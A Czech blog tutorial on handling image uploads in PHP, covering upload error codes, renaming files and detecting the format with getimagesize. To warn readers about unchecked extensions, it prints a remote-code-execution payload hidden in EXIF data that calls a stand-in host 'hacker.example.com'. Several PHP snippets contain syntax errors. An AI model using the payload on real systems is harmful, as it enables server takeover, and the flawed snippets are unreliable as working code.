Portál o technologiích a vývoji

Obrázky ve webových aplikacích – Upload souboru

Autor: Adam Klvač Datum: 12.9.2013 Počet shlédnutí: 3 771 657x

Při tvorbě webových aplikací se nejednou dostaneme do situace, kdy budeme chtít uživatelům umožnit nahrání obrázku z jejich počítače na server. V případě tvorby nějakého upload serveru nejspíš nebudeme potřebovat kromě procedury samotného uložení na server nic dalšího. Jenže to není obvyklý scénář. Jakmile bude potřeba umožnit nastavení uživatelova avataru, nebo tvorby galerie, bude také potřeba obrázky náležitě zpracovat. A pak už si s obyčejným uložením na disk serveru nevystačíme.

V následujícím seriálu tedy postupně popíšu něco obecně o nahrávání a zpracování obrázků, způsoby omezení přístupu k souborům na webu, naznačím také, jakou cestou se lze vydat při tvorbě větší obrázkové galerie či jakým způsobem předávat obrázky na externí úložiště. Seriál se tedy nebude týkat výhradně obrázků – řadu informací lze použít k vývoji jakékoliv běžné webové aplikace. V závěru si také ukážeme použití HTML5 a Javascriptu pro účely tvorby komponent, které usnadní uživatelům nahrávání obrázků – co je dnes v řadě rozsáhlých webových služeb standardem, není běžné v obyčejných webových aplikacích (a je to škoda, protože to není věda). Občas také zmíním něco o bezpečnosti, obzvlášť v případě přijímání souborů od uživatelů je nutné být ještě více na pozoru.

Podle mne je PHP na zpracování obrázků relativně pestré, umožňuje nám s nimi dělat téměř vše, co je obvykle na webu potřeba. Potřebuje však alespoň jednu z knihoven pro práci s grafickými daty – nejčastěji to bývá GD, které nám dá k dispozici drtivou většinu funkcí, kterou potřebujeme. Zatím jsem se nesetkal s webhostingem, který by touto extenzí nedisponoval, s podporou tedy nebývá problém.

if(!function_exists('gd_info')) {
	// Extenze GD není dostupná.
}

Kód zkontroluje existenci funkce gd_info, která je dostupná pouze při nainstalované a povolené extenzi. Kontrolou předejdeme případným fatal errors, které vzniknou při volání funkcí, které jsou součástí GD.

Upload obrázku na server

První fází procesu je obvykle krok, kterým získáme obrázek od uživatele. Je to běžná metoda nahrání souboru. Po nahrání následuje detekce typu souboru a ověření, zda se jedná o obrázek.

Kritickým krokem po validaci obrázku je jeho uložení na server. Před ním následuje zpracování, teprve zpracovaný obrázek ukládáme. Ačkoliv jej v tomto článku uvádím téměř v úvodu, jde o poslední krok. Je ale důležitý a na konci, pod zpracováním, by mohla tato informace snadno zapadnout. S ukládáním obrázku je spojeno několik problémů. Typicky jde o pojmenování souboru na disku, záznam do databáze a ignorace chybných stavů.

Běžným způsobem vytvoříme formulář pro nahrání souboru:

<form method="post" enctype="multipart/form-data">
	<label for="soubor">Soubor pro nahrání:</label>
	<input type="file" name="soubor" id="soubor" />
	<input type="submit" value="Nahrát" />
</form>

U formuláře není zadána vlastnost action, odešle se tedy na stejnou URL, to ale není předmětem tohoto článku. Důležité je detekovat odeslání formuláře, je také nutné zkontrolovat, zda byl soubor úspěšně nahrán.

if($_POST) { // Formulář byl odeslán

	// Detekce chyby
	if($_FILES['soubor']['error'] !== UPLOAD_ERR_OK) {

		// Rozpoznání chybového kódu
		switch($_FILES['soubor']['error']) {

			case UPLOAD_ERR_NO_FILE:
				// Soubor nebyl vybrán
			break;

			case UPLOAD_ERR_INI_SIZE:
				// Soubor je příliš velký
			break;

		}

	}

	// Kontrola, zda jde o obrázek
	if(!getimagesize($_FILES['soubor']['tmp_name'])) {
		// Soubor není platný obrázek
	}

	// Zpracování obrázku, přejmenování (!) a následné přesunutí pomocí move_uploaded_file

}

Pole $_POST obsahuje hodnoty formuláře. Pokud je prázdné, vyhodnotí jej PHP jako false a podmínka se neprovede. Index error obsahuje chybový kód, na základě kterého můžeme přesněji určit chybu. Například to, zda byl soubor vůbec odeslán, ověříme konstantou UPLOAD_ERR_NO_FI­LE. Za užitečnou konstantu považuji také UPLOAD_ERR_INI_SI­ZE, protože z ní poznáme, že soubor je větší, než kolik nám povoluje nastavení PHP, konkrétně direktiva upload_max_fi­lesize. K chybě s neexistujícím dočasným adresářem PHP či nemožností do něj zapisovat by nemělo za normálního provozu dojít, samozřejmě je dobré na to být připraven. Každopádně pro uživatele taková informace moc užitečná není – čili vhodné je problém někam zalogovat, aby se o něm správce aplikace dozvěděl, uživateli bude muset stačit informace, že chyba není na jeho straně.

Poslední podmínka používá funkci getimagesize k detekci, zda se jedná o platný obrázek. Jde asi o jedinou správnou metodu rozpoznání formátu, na přípony by neměl být brán ohled. K této funkci se později ještě vrátíme.

Pojmenování obrázku

Je nutné obrázek přejmenovat – nikdy neukládejte obrázky s takovým názvem, s jakým přišly od uživatele. Vyhnete se tak ztrátě dat, při které dojde v situaci, kdy uživatel nahraje obrázek s názvem, který už má jiný obrázek. Nedojde pravděpodobně vůbec k chybě, protože obrázek z dočasného adresáře nahrávaných souborů přesouváme. A funkce pro přesun souboru zkrátka dříve nahraný soubor přepíše, aniž by si kdokoliv něčeho všiml. To se stane až ve chvíli, kdy se například na webu začnou zobrazovat duplicitní obrázky. Takový název Bez názvu.jpg není nic neobvyklého, uživatelé nejsou zvyklí soubory a složky pojmenovávat podle toho, co v nich je.

Je tedy nezbytně nutné vygenerovat název nový, unikátní a pokud možno náhodný, respektive ne řadový. Mám na mysli třeba prosté číslování. Proč? Protože až bude chtít někdo všechny vaše obrázky stáhnout, bude mu stačit spustit skript, který bude pěkně po jednom stahovat jednotlivé obrázky. To není úplně ideální. Nedoporučuji jako název ani unixový čas, s čímž jsem se již také setkal. Trpí stejným nedostatkem jako číslování (pár 404 skript na stahování neodradí), navíc vzniká riziko kolize, kdy dva uživatelé ve stejný čas nahrajou obrázek. I v málo používané aplikaci to není nic nereálného a pokud se podobným názvům vyhneme, ušetříme si mnohé WTF problémy.

Pozor na zdánlivou bezpečnost – to, že budete obrázky číslovat a jako název zvolíte otisk onoho unikátního klíče, ničemu nepomůže. Útočníkovi nemusí dlouho trvat, než na to přijde a pak jste ve stejné kaši, jako v prvním případě. Zkrátka – jakoukoliv posloupnost nepoužívat.

Nejlepší metodou je vytváření zcela náhodných názvů. Pravděpodobnost vzniku kolize je minimální a dá se dokonce snížit až na nulu, pokud obrázky ukládáme do databáze, bude to pro nás znamenat nový sloupec s názvem, nejde tedy o nic dramatického. Také uděláme systém neprůstřelný na přípony – obrázek je totiž možné správně identifikovat jako platný (o tom jsem už psal), pokud ale nevyřešíme příponu, vznikne nám silné bezpečnostní riziko.

// Nepoužívat!
move_uploaded_file($_FILES['soubor]['tmp_name'], __DIR__ . '/uploads/' . $_FILES['soubor']['name']);

O co jde? Pokud si neohlídáte příponu, útočník vám nastrčí „obrázek“, který mu umožní spustit na vašem serveru libovolný kód. Provede to tak, že jednoduše nahraje platný obrázek, do jehož exif dat (například do pole copyright) zapíše třeba následující kód:

<?php eval(file_get_contents('http://hacker.example.com/exifhack.txt')); ?>

Obrázek nahraje s připonou .php a protože nejspíše bude znát jeho následnou URL, stačí mu na tuto adresu nasměrovat prohlížeč. Přípona způsobí, že data obrázku projdou interpretem PHP, který na kód v exifu narazí, spustí jej. Kód následně získá jednoduchou metodou nějaký vzdálený kód z webového serveru útočníka a funkce eval jej vykoná. A na pořádný problém je zaděláno. Pozor, funkce pro manipulaci s obrázkem budou i s takto „nakaženým“ souborem pracovat bez problému, dokonce i funkce getimagesize (kterou budeme používat na rozpoznání formátu) vrátí platná data. Kód v exifu je platný, jako jakýkoliv jiný řetězec.

Vhodné mi přijde kombinovat číslování obrázku a náhodný řetězec, protože nepovažuji za důležité skrývat počet již nahraných obrázků. Pokud se rozhodnete pro stejnou metodu, musíte zajistit náhodný řetězec o konstantní délce – tím se vyloučí možnost kolize. Hodí se na to výborně funkce uniqid, která vrací dostatečně náhodný string o 13 znacích.

$name = uniqid();

// Vložíme záznam s názvem do databáze a ID posledního vloženého řádku získáme do proměnné last_insert_id.
$name .= $last_insert_id;

// Provedeme přejmenování a přesun
move_uploaded_file($_FILES['soubor']['tmp_name'], $name);

Tento krok by měl být poslední. Dokud s obrázkem manipulujeme, nepotřebujeme k tomu žádný název a zpracování obrázku selže s větší pravděpodobností, než zápis do databáze. Pozor na transakce v databázi – není dobrý nápad zahájit transakci před samotným zpracováním, stačit bude jen při uložení a i tam se bez ní dá obejít.

Rozpoznání formátu

Je tedy nutné správně rozpoznat typ obrázku (a uživatele nepeskovat proto, že má nahrát JPEG a ne GIF), vygenerovat vlastní název a podle skutečného formátu připojit do názvu příponu. Navíc není nic až tak neobyklého, že ačkoliv běžný uživatel pošle obrázek s příponou .jpg, jde ve skutečnosti o PNG. Může se stát. Nevěřte tedy příponám, nevěřte ani hodnotě $_FILES[‚soubor‘][‚ty­pe‘], protože tu dodává samotný prohlížeč uživatele. V lepším případě – v tom horším nám ji dodá možný útočník.

Z určitého důvodu se můžeme také rozhodnout pro jeden konkrétní formát uložení. Často jde o konverzi PNG a GIF na JPEG, protože JPEG nám umožní použít silnější (byť ztrátovou) kompresi a zároveň to zarazí nahrávání animovaných GIFů. Záleží na daném typu aplikace, zda je chceme povolit, či nikoliv – pokud si přejeme, aby uživatelé mohli animované GIFy nahrát, musíme podle toho zvolit správnou příponu (raději) a hlavně musíme zapomenout na jednoduchý způsob úprav, o tom se ale zmíním níže. Pro nahrávání screenshotů či například obrázků, které uživatelé vyrobili třeba v grafickém editoru, může být vhodnější ukládat do PNG, eventuelně zvolit pouze mírnou kompresi JPEG.

K získání důležitých informací, jako je velikost a typ, nám poslouží již zmíněná funkce getimagesize. Ta má povinný parametr, kterým je cesta k souboru a pokud je obrázek platný, vrátí pole s informacemi. Nás nyní bude zajímat především 3. index, který obsahuje číslo formátu. Každé číslo je zastoupeno konstantou, jejichž seznam je v dokumentaci.

$info = getimagesize($_FILES['soubor']['tmp_name']).

switch($info[2]) {
	case IMAGETYPE_GIF:
		$image = imagecreatefromgif($_FILES['soubor']['tmp_name']);
	break;
	case 'IMAGETYPE_JPEG:
		$image = imagecreatefromjpeg($_FILES['soubor']['tmp_name']);
	break;
	case 'IMAGETYPE_PNG':
		$image = imagecreatefrompng($_FILES['soubor']['tmp_name']);
	break;
}

Tento kód rozpozná základní typy obrázků a rovnou získá zmíněný resource, který budeme potřebovat pro následnou manipulaci. Každý typ obrázku umí otevřít právě jedna specifická funkce, další funkce, které nám poskytuje GD, již na typ nehledí – zajímá je v podstatě mapa obrazových bodů.

Existuje ještě další, jednodušší metoda, kterou rád používám, protože mne zpravidla typ obrázku nezajímá (získám jej od uživatele, zpracuji a uložím jako JPEG). GD disponuje funkcí imagecreatefrom­string, která dokáže získat resource obrázku z řetězce z parametru. O rozpoznání typu se tak nemusíme starat.

$image = imagecreatefromstring(file_get_contents($_FILES['soubor']['tmp_name']);
Štítky: | | | | |

Komentáře (2)

  • Jan Voráček

    12.09.2013 000 16:13

    > Reagovat

    Díky za připomenutí toho, jaký opruz je upload souborů v čistém PHP 🙂

    • Jiří Čadek

      13.09.2013 000 09:44

      > Reagovat

      Díky za comment 🙂 Za redakci můžu slíbit, že tímto s obrázky nekončíme 😉

    Poslat komentář

    Vaše e-mailová adresa nebude zveřejněna.